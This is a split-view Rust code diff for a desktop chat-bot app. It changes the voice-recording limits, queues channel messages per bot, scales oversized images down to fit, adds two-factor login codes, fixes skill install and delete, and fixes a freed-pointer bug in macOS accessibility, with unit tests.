let max = if self.att.meeting { crate::voice::MEETING_MAX_SECS } else { crate::voice::MAX_SECS }; let max = if self.att.meeting { crate::voice::MEETING_MAX_SECS } else { crate::voice::MAX_SECS };
if let Some((started, max)) = self.att.voice.as_ref().map(|(_, r)| (r.started, max)) { if self.att.voice.as_ref().is_some_and(|(_, r)| r.started.elapsed().as_secs() >= max) {
if started.elapsed().as_secs() >= max { // What was recorded up to the limit is kept and turned into text like any
if let Some((_, r)) = self.att.voice.take() { // recording (it was thrown away: two hours of a meeting, gone at the last second).
r.cancel(); self.voice_stop(ctx);
} self.att.error = Some(format!("錄音最長 {},已經停止;錄到的部分正在轉成文字。", crate::voice::length_words(max)));
self.att.error = Some("錄音最長 10 分鐘,已經停止。".into());
}
} }
let Some(rx) = &self.att.voice_rx else { return }; let Some(rx) = &self.att.voice_rx else { return };
if let Ok((id, r)) = rx.try_recv() { if let Ok((id, r)) = rx.try_recv() {

View File

@ -3,12 +3,15 @@
use super::*; use super::*;
use crate::channels::{self, Channel, Incoming, Kind, ReplyTo}; use crate::channels::{self, Channel, Incoming, Kind, ReplyTo};
use std::collections::VecDeque;
pub struct ChannelUi { pub struct ChannelUi {
pub tx: Sender<Incoming>, pub tx: Sender<Incoming>,
pub rx: Receiver<Incoming>, pub rx: Receiver<Incoming>,
/// Where each bot's current answer goes back to. /// Where each bot's current answer goes back to.
pub replies: HashMap<u64, Vec<ReplyTo>>, pub replies: HashMap<u64, Vec<ReplyTo>>,
/// Messages that came while their bot was busy: each waits for a turn of its own.
waiting: VecDeque<Incoming>,
new_kind: Kind, new_kind: Kind,
new_name: String, new_name: String,
new_token: String, new_token: String,
@ -36,10 +39,25 @@ impl Default for ChannelUi {
fn default() -> Self { fn default() -> Self {
let (tx, rx) = channel(); let (tx, rx) = channel();
let (trig_tx, trig_rx) = channel(); let (trig_tx, trig_rx) = channel();
ChannelUi { tx, rx, replies: HashMap::new(), new_kind: Kind::Telegram, new_name: String::new(), new_token: String::new(), new_target: String::new(), new_bot: 0, note: Default::default(), started: false, trig_tx, trig_rx, trig_sig: String::new(), new_client: String::new(), new_tenant: String::new(), ms_login: Default::default(), mcp_sig: String::new(), mcp_errors: Default::default(), mcp_busy: Default::default(), new_mcp: Default::default(), focus_market: false } ChannelUi { tx, rx, replies: HashMap::new(), waiting: VecDeque::new(), new_kind: Kind::Telegram, new_name: String::new(), new_token: String::new(), new_target: String::new(), new_bot: 0, note: Default::default(), started: false, trig_tx, trig_rx, trig_sig: String::new(), new_client: String::new(), new_tenant: String::new(), ms_login: Default::default(), mcp_sig: String::new(), mcp_errors: Default::default(), mcp_busy: Default::default(), new_mcp: Default::default(), focus_market: false }
} }
} }
/// The waiting messages whose turn can start now: the oldest one of each bot that is free, in
/// the order they came. The rest stay, in order.
fn ready_messages(waiting: &mut VecDeque<Incoming>, busy: impl Fn(u64) -> bool) -> Vec<Incoming> {
let (mut ready, mut later): (Vec<Incoming>, VecDeque<Incoming>) = (vec![], VecDeque::new());
while let Some(m) = waiting.pop_front() {
if busy(m.bot_id) || ready.iter().chain(later.iter()).any(|w| w.bot_id == m.bot_id) {
later.push_back(m);
} else {
ready.push(m);
}
}
*waiting = later;
ready
}
impl App { impl App {
pub(super) fn channels_restart(&mut self, ctx: &egui::Context) { pub(super) fn channels_restart(&mut self, ctx: &egui::Context) {
if self.demo { if self.demo {
@ -94,14 +112,35 @@ impl App {
} }
} }
while let Ok(m) = self.ch.rx.try_recv() { while let Ok(m) = self.ch.rx.try_recv() {
if self.state.bot(m.bot_id).is_none() { self.ch.waiting.push_back(m);
continue; }
} self.ch.waiting.retain(|m| self.state.bot(m.bot_id).is_some());
// A message from a channel gets a turn of its own, when its bot is free. It used to be
// dropped into whatever turn was running, and that turn's answer (to the person's own
// question at the desk, say) was what went out to the channel.
let mut waiting = std::mem::take(&mut self.ch.waiting);
let ready = ready_messages(&mut waiting, |id| {
self.streams.contains_key(&id)
|| self.ch.replies.contains_key(&id)
|| self.group_next.contains(&id)
|| self.pending_turns.iter().any(|(b, _)| *b == id)
|| self.group_queue.get(&id).is_some_and(|q| !q.is_empty())
});
self.ch.waiting = waiting;
for m in ready {
let text = format!("[訊息管道]{}「{}」的 {}:{}", m.reply.kind.label(), m.reply.channel_name, m.from, m.text); let text = format!("[訊息管道]{}「{}」的 {}:{}", m.reply.kind.label(), m.reply.channel_name, m.from, m.text);
self.ch.replies.entry(m.bot_id).or_default().push(m.reply.clone()); self.ch.replies.entry(m.bot_id).or_default().push(m.reply.clone());
self.wake(ctx, m.bot_id, Message { wake: true, ..Message::user(&text) }); self.wake(ctx, m.bot_id, Message { wake: true, ..Message::user(&text) });
// No turn started (a group with nobody in it): nothing will answer, so no later
// turn's answer may go there either. (A screen's turns run on its brain.)
if !self.streams.contains_key(&m.bot_id) && !self.mir.on {
self.ch.replies.remove(&m.bot_id);
}
self.dirty = true; self.dirty = true;
} }
if !self.ch.waiting.is_empty() {
ctx.request_repaint_after(std::time::Duration::from_millis(500));
}
} }
/// The turn ended: send its answer back where the message came from. /// The turn ended: send its answer back where the message came from.
@ -443,3 +482,24 @@ impl App {
} }
} }
} }
#[cfg(test)]
mod tests {
use super::*;
/// A message from a channel never joins a turn that is running: it waits for its own.
#[test]
fn a_channel_message_waits_for_a_turn_of_its_own() {
let msg = |bot_id: u64, text: &str| Incoming { bot_id, from: "ann".into(), text: text.into(), reply: ReplyTo { kind: Kind::Telegram, token: String::new(), target: "1".into(), thread: String::new(), channel_name: "c".into() } };
let texts = |v: &[Incoming]| v.iter().map(|m| m.text.clone()).collect::<Vec<_>>();
let mut waiting: VecDeque<Incoming> = [msg(1, "a"), msg(2, "b"), msg(1, "c"), msg(3, "d")].into();
// Bot 2 is in the middle of the person's own question: its message stays.
let ready = ready_messages(&mut waiting, |id| id == 2);
assert_eq!(texts(&ready), ["a", "d"]);
assert_eq!(texts(&waiting.iter().cloned().collect::<Vec<_>>()), ["b", "c"]);
// Later, everyone is free: one message each, the oldest first.
let ready = ready_messages(&mut waiting, |_| false);
assert_eq!(texts(&ready), ["b", "c"]);
assert!(waiting.is_empty());
}
}

View File

@ -48,6 +48,9 @@ pub struct ComputerUi {
teach_for: Option<u64>, teach_for: Option<u64>,
teach_error: String, teach_error: String,
schedule_edit: String, schedule_edit: String,
/// The time is being typed: the field shows what was typed, not what is saved (it showed
/// the saved time again every frame, so with 自動更新 on the time could not be changed).
schedule_typing: bool,
pub update_ready: bool, pub update_ready: bool,
update_checked: Option<Instant>, update_checked: Option<Instant>,
update_flag: Arc<AtomicBool>, update_flag: Arc<AtomicBool>,
@ -378,7 +381,8 @@ impl App {
let update_ready = self.cu.update_ready; let update_ready = self.cu.update_ready;
let working: Vec<String> = self.streams.keys().filter_map(|id| self.state.bot(*id).map(|b| b.name.clone())).collect(); let working: Vec<String> = self.streams.keys().filter_map(|id| self.state.bot(*id).map(|b| b.name.clone())).collect();
let mut on = cloudbox::auto_update_at().is_some(); let mut on = cloudbox::auto_update_at().is_some();
let mut at = cloudbox::auto_update_at().unwrap_or_else(|| self.cu.schedule_edit.clone()); let mut at = if self.cu.schedule_typing { self.cu.schedule_edit.clone() } else { cloudbox::auto_update_at().unwrap_or_else(|| self.cu.schedule_edit.clone()) };
let mut typed = false;
if at.is_empty() { if at.is_empty() {
at = "03:00".into(); at = "03:00".into();
} }
@ -483,6 +487,7 @@ impl App {
sec_row_s(ui, p, "自動更新", &desc, "有新映像檔可用時,電腦會在你選的時間自動更新;錯過的話一小時內還會補做。開始後不能取消;有 Bot 在用電腦時會等它做完。", |ui| { sec_row_s(ui, p, "自動更新", &desc, "有新映像檔可用時,電腦會在你選的時間自動更新;錯過的話一小時內還會補做。開始後不能取消;有 Bot 在用電腦時會等它做完。", |ui| {
let changed = ui.add(toggle(&mut on)).changed(); let changed = ui.add(toggle(&mut on)).changed();
let r = ui.add(egui::TextEdit::singleline(&mut at).desired_width(56.0).char_limit(5).font(egui::TextStyle::Monospace)); let r = ui.add(egui::TextEdit::singleline(&mut at).desired_width(56.0).char_limit(5).font(egui::TextStyle::Monospace));
typed |= r.changed();
if changed || r.lost_focus() { if changed || r.lost_focus() {
schedule_changed = true; schedule_changed = true;
} }
@ -519,8 +524,13 @@ impl App {
sec_note(ui, p, &note); sec_note(ui, p, &note);
} }
}); });
if schedule_changed && chrono::NaiveTime::parse_from_str(at.trim(), "%H:%M").is_ok() { self.cu.schedule_typing |= typed;
cloudbox::set_auto_update_at(on.then(|| at.trim().to_string())); if schedule_changed {
// Done typing: a real time is saved; anything else gives way to the saved one.
if chrono::NaiveTime::parse_from_str(at.trim(), "%H:%M").is_ok() {
cloudbox::set_auto_update_at(on.then(|| at.trim().to_string()));
}
self.cu.schedule_typing = false;
} }
self.cu.schedule_edit = at; self.cu.schedule_edit = at;
match act { match act {

View File

@ -136,7 +136,23 @@ fn start_job(kind: &str, path: &str) -> Option<Arc<Mutex<PageJob>>> {
Some(job) Some(job)
} }
fn texture(ctx: &egui::Context, name: &str, img: &image::RgbaImage) -> egui::TextureHandle { /// The size a picture is shown at when a side is longer than `max` (None: it fits as it is).
fn fitted(w: u32, h: u32, max: u32) -> Option<(u32, u32)> {
let long = w.max(h);
if long <= max || max == 0 {
return None;
}
let side = |v: u32| ((v as u64 * max as u64 / long as u64) as u32).clamp(1, max);
Some((side(w), side(h)))
}
/// A picture for the window to draw. One with a side longer than the graphics card takes (a
/// panorama, a whole-page screenshot: past 8192 or 16384 pixels, by the card) is made smaller
/// first — handed over whole, the window closed with a crash.
pub(super) fn texture(ctx: &egui::Context, name: &str, img: &image::RgbaImage) -> egui::TextureHandle {
let max = ctx.input(|i| i.max_texture_side) as u32;
let small = fitted(img.width(), img.height(), max).map(|(w, h)| image::imageops::resize(img, w, h, image::imageops::FilterType::Triangle));
let img = small.as_ref().unwrap_or(img);
let size = [img.width() as usize, img.height() as usize]; let size = [img.width() as usize, img.height() as usize];
ctx.load_texture(name, egui::ColorImage::from_rgba_unmultiplied(size, img.as_raw()), egui::TextureOptions::LINEAR) ctx.load_texture(name, egui::ColorImage::from_rgba_unmultiplied(size, img.as_raw()), egui::TextureOptions::LINEAR)
} }
@ -790,3 +806,19 @@ fn big_file_icon(painter: &egui::Painter, r: egui::Rect, name: &str, p: Palette)
painter.rect_filled(tile, 10, col.gamma_multiply(0.16)); painter.rect_filled(tile, 10, col.gamma_multiply(0.16));
crate::icons::paint(painter, egui::Rect::from_center_size(tile.center(), vec2(22.0, 22.0)), crate::icons::for_file(name), col); crate::icons::paint(painter, egui::Rect::from_center_size(tile.center(), vec2(22.0, 22.0)), crate::icons::for_file(name), col);
} }
#[cfg(test)]
mod tests {
use super::*;
/// A picture longer than the graphics card takes is shown smaller, in its own shape.
#[test]
fn a_picture_too_long_for_the_card_is_made_to_fit() {
assert_eq!(fitted(4000, 3000, 8192), None);
assert_eq!(fitted(8192, 8192, 8192), None);
assert_eq!(fitted(16384, 4096, 8192), Some((8192, 2048)));
assert_eq!(fitted(1290, 30000, 8192), Some((352, 8192)));
assert_eq!(fitted(100_000, 1, 2048), Some((2048, 1)), "never a side of nothing");
assert_eq!(fitted(100, 100, 0), None, "no limit known yet");
}
}

View File

@ -804,7 +804,7 @@ impl App {
let d = match done { let d = match done {
Ok(img) => { Ok(img) => {
let size = vec2(img.width() as f32 / 2.0, img.height() as f32 / 2.0); let size = vec2(img.width() as f32 / 2.0, img.height() as f32 / 2.0);
let tex = ui.ctx().load_texture(format!("mermaid-{key}"), egui::ColorImage::from_rgba_unmultiplied([img.width() as usize, img.height() as usize], img.as_raw()), egui::TextureOptions::LINEAR); let tex = super::files_ui::texture(ui.ctx(), &format!("mermaid-{key}"), &img);
Diagram::Ready(tex, size) Diagram::Ready(tex, size)
} }
Err(e) => Diagram::Failed(e), Err(e) => Diagram::Failed(e),

View File

@ -1016,6 +1016,7 @@ impl App {
steer: Arc::default(), steer: Arc::default(),
turn_id: String::new(), turn_id: String::new(),
direct: Arc::default(), direct: Arc::default(),
turn: 0,
}); });
l.status = status; l.status = status;
l.paused = paused; l.paused = paused;

View File

@ -23,6 +23,9 @@ pub struct RemoteUi {
pass: String, pass: String,
invite: String, invite: String,
create: bool, create: bool,
/// 兩步驗證: the code that goes with the password, asked once the account said it has it on.
code: String,
need_code: bool,
pub(super) note: Arc<Mutex<String>>, pub(super) note: Arc<Mutex<String>>,
join_rx: Option<Receiver<Result<(Settings, remote::AccountFind), String>>>, join_rx: Option<Receiver<Result<(Settings, remote::AccountFind), String>>>,
restore_rx: Option<Receiver<Result<Vec<u8>, String>>>, restore_rx: Option<Receiver<Result<Vec<u8>, String>>>,
@ -106,10 +109,17 @@ impl App {
Ok((s, found)) => { Ok((s, found)) => {
self.state.remote = s; self.state.remote = s;
self.rm.pass.clear(); self.rm.pass.clear();
self.rm.code.clear();
self.rm.need_code = false;
self.account_sync(found); self.account_sync(found);
self.mark(); self.mark();
} }
Err(e) => *self.rm.note.lock().unwrap() = e, Err(e) => {
self.rm.need_code |= e.starts_with(remote::NEED_CODE);
// (A code is good for one try.)
self.rm.code.clear();
*self.rm.note.lock().unwrap() = e;
}
} }
} }
} }
@ -125,7 +135,11 @@ impl App {
self.state.save(); self.state.save();
*self.rm.note.lock().unwrap() = format!("已從備份還原 {n} 個 Bot"); *self.rm.note.lock().unwrap() = format!("已從備份還原 {n} 個 Bot");
} }
Err(e) => *self.rm.note.lock().unwrap() = e, Err(e) => {
self.rm.need_code |= e.starts_with(remote::NEED_CODE);
self.rm.code.clear();
*self.rm.note.lock().unwrap() = e;
}
} }
} }
} }
@ -600,6 +614,11 @@ impl App {
form_row(ui, "密碼", p, |ui| { form_row(ui, "密碼", p, |ui| {
ui.add(egui::TextEdit::singleline(&mut self.rm.pass).password(true).desired_width(f32::INFINITY)); ui.add(egui::TextEdit::singleline(&mut self.rm.pass).password(true).desired_width(f32::INFINITY));
}); });
if self.rm.need_code {
form_row(ui, "驗證碼", p, |ui| {
ui.add(egui::TextEdit::singleline(&mut self.rm.code).hint_text(t("驗證器 App 的六位碼,或一組恢復碼")).desired_width(f32::INFINITY));
});
}
ui.checkbox(&mut self.rm.create, t("建立新帳號")); ui.checkbox(&mut self.rm.create, t("建立新帳號"));
if self.rm.create { if self.rm.create {
form_row(ui, "邀請碼", p, |ui| { form_row(ui, "邀請碼", p, |ui| {
@ -611,11 +630,11 @@ impl App {
if ui.add_enabled(ready && !busy, primary_button(if busy { "連線中…" } else if self.rm.create { "建立並登入" } else { "登入" }, p)).clicked() { if ui.add_enabled(ready && !busy, primary_button(if busy { "連線中…" } else if self.rm.create { "建立並登入" } else { "登入" }, p)).clicked() {
let (tx, rx) = channel(); let (tx, rx) = channel();
self.rm.join_rx = Some(rx); self.rm.join_rx = Some(rx);
let (url, user, pass, create, invite, base) = (self.rm.relay_url.clone(), self.rm.user.trim().to_string(), self.rm.pass.clone(), self.rm.create, self.rm.invite.clone(), self.state.remote.clone()); let (url, user, pass, create, invite, base, code) = (self.rm.relay_url.clone(), self.rm.user.trim().to_string(), self.rm.pass.clone(), self.rm.create, self.rm.invite.clone(), self.state.remote.clone(), self.rm.code.clone());
std::thread::spawn(move || { std::thread::spawn(move || {
// Signed in: look right away for the bots the account already has. // Signed in: look right away for the bots the account already has.
let r = remote::relay_join(&base, &url, &user, &pass, create, &invite).map(|s| { let r = remote::relay_join(&base, &url, &user, &pass, create, &invite, &code).map(|s| {
let found = remote::find_account_bots(&s, &pass); let found = remote::find_account_bots(&s, &pass, &code);
(s, found) (s, found)
}); });
let _ = tx.send(r); let _ = tx.send(r);
@ -624,9 +643,9 @@ impl App {
if ui.add_enabled(ready && self.rm.restore_rx.is_none(), secondary_button("從帳號備份還原")).on_hover_text(t("把這台電腦的 Bot 換成帳號裡最新的備份")).clicked() { if ui.add_enabled(ready && self.rm.restore_rx.is_none(), secondary_button("從帳號備份還原")).on_hover_text(t("把這台電腦的 Bot 換成帳號裡最新的備份")).clicked() {
let (tx, rx) = channel(); let (tx, rx) = channel();
self.rm.restore_rx = Some(rx); self.rm.restore_rx = Some(rx);
let (url, user, pass) = (self.rm.relay_url.clone(), self.rm.user.trim().to_string(), self.rm.pass.clone()); let (url, user, pass, code) = (self.rm.relay_url.clone(), self.rm.user.trim().to_string(), self.rm.pass.clone(), self.rm.code.clone());
std::thread::spawn(move || { std::thread::spawn(move || {
let _ = tx.send(remote::restore(&url, &user, &pass)); let _ = tx.send(remote::restore(&url, &user, &pass, &code));
}); });
} }
}); });
@ -981,8 +1000,9 @@ impl App {
} }
// The actions a bot can take on the app (the same appctl path as its tools). // The actions a bot can take on the app (the same appctl path as its tools).
"app" => { "app" => {
const ALLOWED: [&str; 15] = [ // (skillify and skill_install are the phone's 「教我做」 and 「從網址安裝技能」.)
"create_bot", "update_bot", "remember", "forget", "save_skill", "delete_skill", "create_routine", "update_routine", const ALLOWED: [&str; 17] = [
"create_bot", "update_bot", "remember", "forget", "save_skill", "delete_skill", "skillify", "skill_install", "create_routine", "update_routine",
"delete_routine", "run_routine_now", "create_group", "move_to_group", "rename_group", "delete_group", "update_settings", "delete_routine", "run_routine_now", "create_group", "move_to_group", "rename_group", "delete_group", "update_settings",
]; ];
let name = s("name"); let name = s("name");

View File

@ -73,7 +73,7 @@ pub fn specs() -> Vec<Value> {
vec![ vec![
json!({"name": "list_routines", "description": "List this bot's routines (scheduled, repeating tasks).", "parameters": {"type": "object", "properties": {}}}), json!({"name": "list_routines", "description": "List this bot's routines (scheduled, repeating tasks).", "parameters": {"type": "object", "properties": {}}}),
json!({"name": "remember", "description": "Keep a fact or preference the person wants you to remember across chats.", "parameters": {"type": "object", "properties": {"fact": {"type": "string"}}, "required": ["fact"]}}), json!({"name": "remember", "description": "Keep a fact or preference the person wants you to remember across chats.", "parameters": {"type": "object", "properties": {"fact": {"type": "string"}}, "required": ["fact"]}}),
json!({"name": "forget", "description": "Forget a remembered fact (its number or words in it).", "parameters": {"type": "object", "properties": {"what": {"type": "string"}}, "required": ["what"]}}), json!({"name": "forget", "description": "Forget a remembered fact: give the fact's own words (or words in it).", "parameters": {"type": "object", "properties": {"what": {"type": "string"}}, "required": ["what"]}}),
json!({"name": "save_skill", "description": "Save a reusable procedure as a skill every bot can use (replaces one with the same name).", "parameters": {"type": "object", "properties": {"name": {"type": "string"}, "description": {"type": "string", "description": "One line: when to use it"}, "instructions": {"type": "string", "description": "The full steps"}}, "required": ["name", "description", "instructions"]}}), json!({"name": "save_skill", "description": "Save a reusable procedure as a skill every bot can use (replaces one with the same name).", "parameters": {"type": "object", "properties": {"name": {"type": "string"}, "description": {"type": "string", "description": "One line: when to use it"}, "instructions": {"type": "string", "description": "The full steps"}}, "required": ["name", "description", "instructions"]}}),
json!({"name": "use_skill", "description": "Load a skill's full instructions before doing that kind of task.", "parameters": {"type": "object", "properties": {"name": {"type": "string"}}, "required": ["name"]}}), json!({"name": "use_skill", "description": "Load a skill's full instructions before doing that kind of task.", "parameters": {"type": "object", "properties": {"name": {"type": "string"}}, "required": ["name"]}}),
json!({"name": "delete_skill", "description": "Delete a skill.", "parameters": {"type": "object", "properties": {"name": {"type": "string"}}, "required": ["name"]}}), json!({"name": "delete_skill", "description": "Delete a skill.", "parameters": {"type": "object", "properties": {"name": {"type": "string"}}, "required": ["name"]}}),
@ -305,7 +305,14 @@ pub fn apply(state: &mut State, bot_id: u64, name: &str, args: &str) -> Outcome
raw["timezone"] = json!(tz); raw["timezone"] = json!(tz);
} }
match serde_json::from_value::<Schedule>(raw).map_err(|e| e.to_string()).and_then(routines::validate) { match serde_json::from_value::<Schedule>(raw).map_err(|e| e.to_string()).and_then(routines::validate) {
Ok(x) => r.schedule = x, Ok(x) => {
// 僅一次 counts from when it was set: counted from the day the
// routine was made, its one time was already past and it never ran.
if x.once {
r.created_at = now;
}
r.schedule = x
}
Err(e) => return err(format!("排程有問題:{e}")), Err(e) => return err(format!("排程有問題:{e}")),
} }
} }
@ -455,10 +462,9 @@ pub fn apply(state: &mut State, bot_id: u64, name: &str, args: &str) -> Outcome
let name = s("name").unwrap_or_default(); let name = s("name").unwrap_or_default();
let before = state.skills.len(); let before = state.skills.len();
state.skills.retain(|k| k.name != name.trim()); state.skills.retain(|k| k.name != name.trim());
// a skill that came from a file goes back to the shelf it came from // A skill that came from a file: the file goes too (it is read again at every start).
let slug: String = name.trim().chars().map(|c| if c.is_alphanumeric() { c.to_ascii_lowercase() } else { '-' }).collect(); let files = crate::memory::remove_skill_files(&name);
let _ = std::fs::remove_file(crate::memory::skill_dir().join(format!("{}.md", slug.trim_matches('-')))); if state.skills.len() < before || files > 0 { ok(format!("已刪除技能「{name}」")) } else { err(format!("沒有叫「{name}」的技能")) }
if state.skills.len() < before { ok(format!("已刪除技能「{name}」")) } else { err(format!("沒有叫「{name}」的技能")) }
} }
"skill_install" => { "skill_install" => {
// P7: a skill is a .md file you can keep in a repo and hand to a friend. // P7: a skill is a .md file you can keep in a repo and hand to a friend.
@ -467,19 +473,10 @@ pub fn apply(state: &mut State, bot_id: u64, name: &str, args: &str) -> Outcome
return err("要貼技能檔(.md)的網址或檔案路徑".into()); return err("要貼技能檔(.md)的網址或檔案路徑".into());
} }
let text = if src.starts_with("http://") || src.starts_with("https://") { let text = if src.starts_with("http://") || src.starts_with("https://") {
{ match crate::web::get_public(&src, 400_000) {
use std::io::Read; Ok((_, status, _)) if status >= 400 => return err(format!("抓不到技能檔:網站回應 {status}")),
let agent: ureq::Agent = ureq::Agent::config_builder().timeout_global(Some(std::time::Duration::from_secs(20))).http_status_as_error(false).build().into(); Ok((_, _, text)) => text,
let mut text = String::new(); Err(e) => return err(format!("抓不到技能檔:{e}")),
match agent.get(&src).call() {
Ok(mut r) => {
if let Err(e) = r.body_mut().as_reader().take(400_000).read_to_string(&mut text) {
return err(format!("技能檔讀不完:{e}"));
}
}
Err(e) => return err(format!("抓不到技能檔:{e}")),
}
text
} }
} else { } else {
match std::fs::read_to_string(&src) { match std::fs::read_to_string(&src) {
@ -684,6 +681,11 @@ mod tests {
assert!(b.routines[0].next_run.unwrap() > routines::now()); assert!(b.routines[0].next_run.unwrap() > routines::now());
let id = b.routines[0].id; let id = b.routines[0].id;
assert!(apply(&mut st, 1, "update_routine", &format!(r#"{{"id":{id},"paused":true}}"#)).text.contains("已暫停")); assert!(apply(&mut st, 1, "update_routine", &format!(r#"{{"id":{id},"paused":true}}"#)).text.contains("已暫停"));
// Days later it is changed to 僅一次: its one time is the next one from now (counted from
// the day it was made, that time was long past and the routine never ran).
st.bot_mut(1).unwrap().routines[0].created_at -= 3 * 86400;
assert!(apply(&mut st, 1, "update_routine", &format!(r#"{{"id":{id},"paused":false,"schedule":{{"frequency":"daily","time":"09:00","once":true}}}}"#)).ok);
assert!(st.bot(1).unwrap().routines[0].next_run.unwrap() > routines::now());
assert!(needs_approval("delete_routine", &format!(r#"{{"id":{id}}}"#), &st).unwrap().contains("早報")); assert!(needs_approval("delete_routine", &format!(r#"{{"id":{id}}}"#), &st).unwrap().contains("早報"));
let w = apply(&mut st, 1, "run_routine_now", &format!(r#"{{"id":{id}}}"#)); let w = apply(&mut st, 1, "run_routine_now", &format!(r#"{{"id":{id}}}"#));
assert_eq!(w.wake[0].0, 1); assert_eq!(w.wake[0].0, 1);

View File

@ -30,6 +30,14 @@ fn dir_for(bot_id: u64) -> PathBuf {
crate::model::State::path().parent().map(|p| p.to_path_buf()).unwrap_or_else(std::env::temp_dir).join("attachments").join(format!("bot-{bot_id}")) crate::model::State::path().parent().map(|p| p.to_path_buf()).unwrap_or_else(std::env::temp_dir).join("attachments").join(format!("bot-{bot_id}"))
} }
/// A file the person gave this bot with a message (the copy kept here): the bot may pass it
/// on, though it sits in AnyBot's own folder, which is otherwise closed to it.
pub fn is_given(bot_id: u64, p: &Path) -> bool {
let dir = dir_for(bot_id);
let real = |p: &Path| std::fs::canonicalize(p).unwrap_or_else(|_| p.to_path_buf());
p.is_file() && real(p).starts_with(real(&dir))
}
pub fn is_image_name(name: &str) -> bool { pub fn is_image_name(name: &str) -> bool {
let n = name.to_lowercase(); let n = name.to_lowercase();
[".png", ".jpg", ".jpeg", ".gif", ".webp", ".bmp", ".heic", ".tif", ".tiff"].iter().any(|e| n.ends_with(e)) [".png", ".jpg", ".jpeg", ".gif", ".webp", ".bmp", ".heic", ".tif", ".tiff"].iter().any(|e| n.ends_with(e))
@ -64,6 +72,15 @@ pub fn store_bytes(bot_id: u64, name: &str, bytes: &[u8]) -> Result<Attachment,
Ok(Attachment { image: is_image_name(name), name: name.to_string(), path: dst.display().to_string(), bytes: bytes.len() as u64, on_box: String::new() }) Ok(Attachment { image: is_image_name(name), name: name.to_string(), path: dst.display().to_string(), bytes: bytes.len() as u64, on_box: String::new() })
} }
/// The picture a paste brought (⌘V with a picture and no text on the clipboard: the window is
/// handed the pixels, straight RGBA, not a V key).
pub fn store_pasted(bot_id: u64, size: [usize; 2], rgba: Vec<u8>) -> Result<Attachment, String> {
let img = image::RgbaImage::from_raw(size[0] as u32, size[1] as u32, rgba).ok_or("貼上的圖片讀不出來")?;
let mut png = std::io::Cursor::new(Vec::new());
img.write_to(&mut png, image::ImageFormat::Png).map_err(|e| format!("貼上的圖片存不下來:{e}"))?;
store_bytes(bot_id, &format!("貼上的圖片 {}.png", chrono::Local::now().format("%H%M%S")), png.get_ref())
}
/// A picture on the clipboard (e.g. a screenshot copied with ⌃⇧⌘4) becomes an attachment. /// A picture on the clipboard (e.g. a screenshot copied with ⌃⇧⌘4) becomes an attachment.
pub fn paste_image(bot_id: u64) -> Option<Attachment> { pub fn paste_image(bot_id: u64) -> Option<Attachment> {
let dir = dir_for(bot_id); let dir = dir_for(bot_id);

View File

@ -91,6 +91,15 @@ mod mac {
} }
} }
/// An element kept for after the walk. The elements of a children list live only as long
/// as the list, and each list is let go when the walk leaves that level: the one the walk
/// chose was remembered as a bare pointer, and by the time it was pressed (or written to)
/// it had been released — the press went to freed memory.
fn keep(el: CFTypeRef) -> Cf {
unsafe { CFRetain(el) };
Cf(el)
}
fn cfstr(s: &str) -> Cf { fn cfstr(s: &str) -> Cf {
let c = CString::new(s).unwrap_or_default(); let c = CString::new(s).unwrap_or_default();
Cf(unsafe { CFStringCreateWithCString(std::ptr::null(), c.as_ptr(), UTF8) }) Cf(unsafe { CFStringCreateWithCString(std::ptr::null(), c.as_ptr(), UTF8) })
@ -156,7 +165,7 @@ mod mac {
} }
/// Best (score, depth, element) pressable whose title/description/value matches `want`. /// Best (score, depth, element) pressable whose title/description/value matches `want`.
fn find_named(el: CFTypeRef, want: &str, best: &mut (u8, usize, CFTypeRef), seen: &mut usize, depth: usize) { fn find_named(el: CFTypeRef, want: &str, best: &mut (u8, usize, Option<Cf>), seen: &mut usize, depth: usize) {
if *seen >= MAX_NODES || depth > MAX_DEPTH { if *seen >= MAX_NODES || depth > MAX_DEPTH {
return; return;
} }
@ -165,7 +174,7 @@ mod mac {
let score = ["AXTitle", "AXDescription", "AXValue"].iter().map(|a| attr_string(el, a).map(|s| name_match(&s, want)).unwrap_or(0)).max().unwrap_or(0); let score = ["AXTitle", "AXDescription", "AXValue"].iter().map(|a| attr_string(el, a).map(|s| name_match(&s, want)).unwrap_or(0)).max().unwrap_or(0);
// Deeper wins ties: a button inside a group is the thing, not the group. // Deeper wins ties: a button inside a group is the thing, not the group.
if score > best.0 || (score == best.0 && score > 0 && depth > best.1) { if score > best.0 || (score == best.0 && score > 0 && depth > best.1) {
*best = (score, depth, el); *best = (score, depth, Some(keep(el)));
} }
} }
let (_keep, kids) = children(el); let (_keep, kids) = children(el);
@ -175,7 +184,7 @@ mod mac {
} }
/// Deepest pressable whose frame holds the point; deepest of any role as a second choice. /// Deepest pressable whose frame holds the point; deepest of any role as a second choice.
fn find_at(el: CFTypeRef, x: f64, y: f64, best: &mut (usize, CFTypeRef, bool), seen: &mut usize, depth: usize) { fn find_at(el: CFTypeRef, x: f64, y: f64, best: &mut (usize, Option<Cf>, bool), seen: &mut usize, depth: usize) {
if *seen >= MAX_NODES || depth > MAX_DEPTH { if *seen >= MAX_NODES || depth > MAX_DEPTH {
return; return;
} }
@ -183,9 +192,9 @@ mod mac {
if let Some((fx, fy, fw, fh)) = frame(el) { if let Some((fx, fy, fw, fh)) = frame(el) {
if fw > 0.0 && fh > 0.0 && x >= fx && x < fx + fw && y >= fy && y < fy + fh { if fw > 0.0 && fh > 0.0 && x >= fx && x < fx + fw && y >= fy && y < fy + fh {
if pressable(el) && depth >= best.0 { if pressable(el) && depth >= best.0 {
*best = (depth, el, true); *best = (depth, Some(keep(el)), true);
} else if !best.2 && depth >= best.0 { } else if !best.2 && depth >= best.0 {
*best = (depth, el, false); *best = (depth, Some(keep(el)), false);
} }
} }
} }
@ -223,37 +232,30 @@ mod mac {
/// Press the control named `want` in the app `pid`. Returns the matched title. /// Press the control named `want` in the app `pid`. Returns the matched title.
pub fn press_named(pid: i32, want: &str) -> Result<String, String> { pub fn press_named(pid: i32, want: &str) -> Result<String, String> {
let app = app(pid).ok_or("這個 App 沒有輔助使用介面")?; let app = app(pid).ok_or("這個 App 沒有輔助使用介面")?;
let mut best = (0u8, 0usize, std::ptr::null()); let mut best = (0u8, 0usize, None);
let mut seen = 0; let mut seen = 0;
find_named(app.0, want, &mut best, &mut seen, 0); find_named(app.0, want, &mut best, &mut seen, 0);
if best.2.is_null() { let Some(found) = best.2 else {
return Err(format!("輔助使用樹裡沒有可點的「{want}」")); return Err(format!("輔助使用樹裡沒有可點的「{want}」"));
} };
